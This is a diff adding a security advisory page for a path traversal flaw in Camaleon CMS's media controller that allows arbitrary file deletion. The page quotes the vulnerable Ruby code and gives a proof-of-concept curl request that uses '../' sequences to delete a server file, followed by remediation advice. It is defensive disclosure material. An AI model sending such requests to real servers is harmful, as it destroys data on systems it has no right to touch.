|
| 1 | +--- |
| 2 | +layout: advisory |
| 3 | +title: 'GHSA-7x4w-cj9r-h4v9 (camaleon_cms): Camaleon CMS vulnerable to remote code |
| 4 | + execution through code injection (GHSL-2024-185)' |
| 5 | +comments: false |
| 6 | +categories: |
| 7 | +- camaleon_cms |
| 8 | +advisory: |
| 9 | + gem: camaleon_cms |
| 10 | + ghsa: 7x4w-cj9r-h4v9 |
| 11 | + url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9 |
| 12 | + title: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185) |
| 13 | + date: 2024-09-18 |
| 14 | + description: | |
| 15 | + The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) |
| 16 | + defined inside of the MediaController class do not check whether a |
| 17 | + given path is inside a certain path (e.g. inside the media folder). |
| 18 | + If an attacker performed an account takeover of an administrator |
| 19 | + account (See: GHSL-2024-184) they could delete arbitrary files or |
| 20 | + folders on the server hosting Camaleon CMS. The |
| 21 | + [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) |
| 22 | + action might make arbitrary file writes (similar impact to GHSL-2024-182) |
| 23 | + for any authenticated user possible, but it doesn't seem to work currently. |
| 24 | +
|
| 25 | + Arbitrary file deletion can be exploited with following code path: |
| 26 | + The parameter folder flows from the actions method: |
| 27 | + ```ruby |
| 28 | + def actions |
| 29 | + authorize! :manage, :media if params[:media_action] != 'crop_url' |
| 30 | + params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present? |
| 31 | + case params[:media_action] |
| 32 | + [..] |
| 33 | + when 'del_file' |
| 34 | + cama_uploader.delete_file(params[:folder].gsub('//', '/')) |
| 35 | + render plain: '' |
| 36 | + ``` |
| 37 | + into the method delete_file of the CamaleonCmsLocalUploader |
| 38 | + class (when files are uploaded locally): |
| 39 | + ```ruby |
| 40 | + def delete_file(key) |
| 41 | + file = File.join(@root_folder, key) |
| 42 | + FileUtils.rm(file) if File.exist? file |
| 43 | + @instance.hooks_run('after_delete', key) |
| 44 | + get_media_collection.find_by_key(key).take.destroy |
| 45 | + end |
| 46 | + ``` |
| 47 | + Where it is joined in an unchecked manner with the root folder and |
| 48 | + then deleted. |
| 49 | +
|
| 50 | + **Proof of concept** |
| 51 | + The following request would delete the file README.md in the top |
| 52 | + folder of the Ruby on Rails application. (The values for auth_token, |
| 53 | + X-CSRF-Token and _cms_session would also need to be replaced with |
| 54 | + authenticated values in the curl command below) |
| 55 | + ``` |
| 56 | + curl --path-as-is -i -s -k -X $'POST' \ |
| 57 | + -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \ |
| 58 | + -b $'auth_token=[..]; _cms_session=[..]' \ |
| 59 | + --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=.. |
| 60 | + 2F.. |
| 61 | + 2F.. |
| 62 | + 2FREADME.md&media_action=del_file' \ |
| 63 | + $'https://<camaleon-host>/admin/media/actions?actions=true' |
| 64 | + ``` |
| 65 | +
|
| 66 | + **Impact** |
| 67 | +
|
| 68 | + This issue may lead to a defective CMS or system. |
| 69 | +
|
| 70 | + **Remediation** |
| 71 | +
|
| 72 | + Normalize all file paths constructed from untrusted user input |
| 73 | + before using them and check that the resulting path is inside the |
| 74 | + targeted directory. Additionally, do not allow character sequences |
| 75 | + such as .. in untrusted input that is used to build paths. |
| 76 | +
|
| 77 | + **See also:** |
| 78 | +
|
| 79 | + [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/) |
| 80 | + [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) |
| 81 | + cvss_v3: 7.2 |
| 82 | + patched_versions: |
| 83 | + - ">= 2.8.1" |
| 84 | + related: |
| 85 | + url: |
| 86 | + - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9 |
| 87 | + - https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2 |
| 88 | + - https://github.com/advisories/GHSA-7x4w-cj9r-h4v9 |
| 89 | +--- |
0 commit comments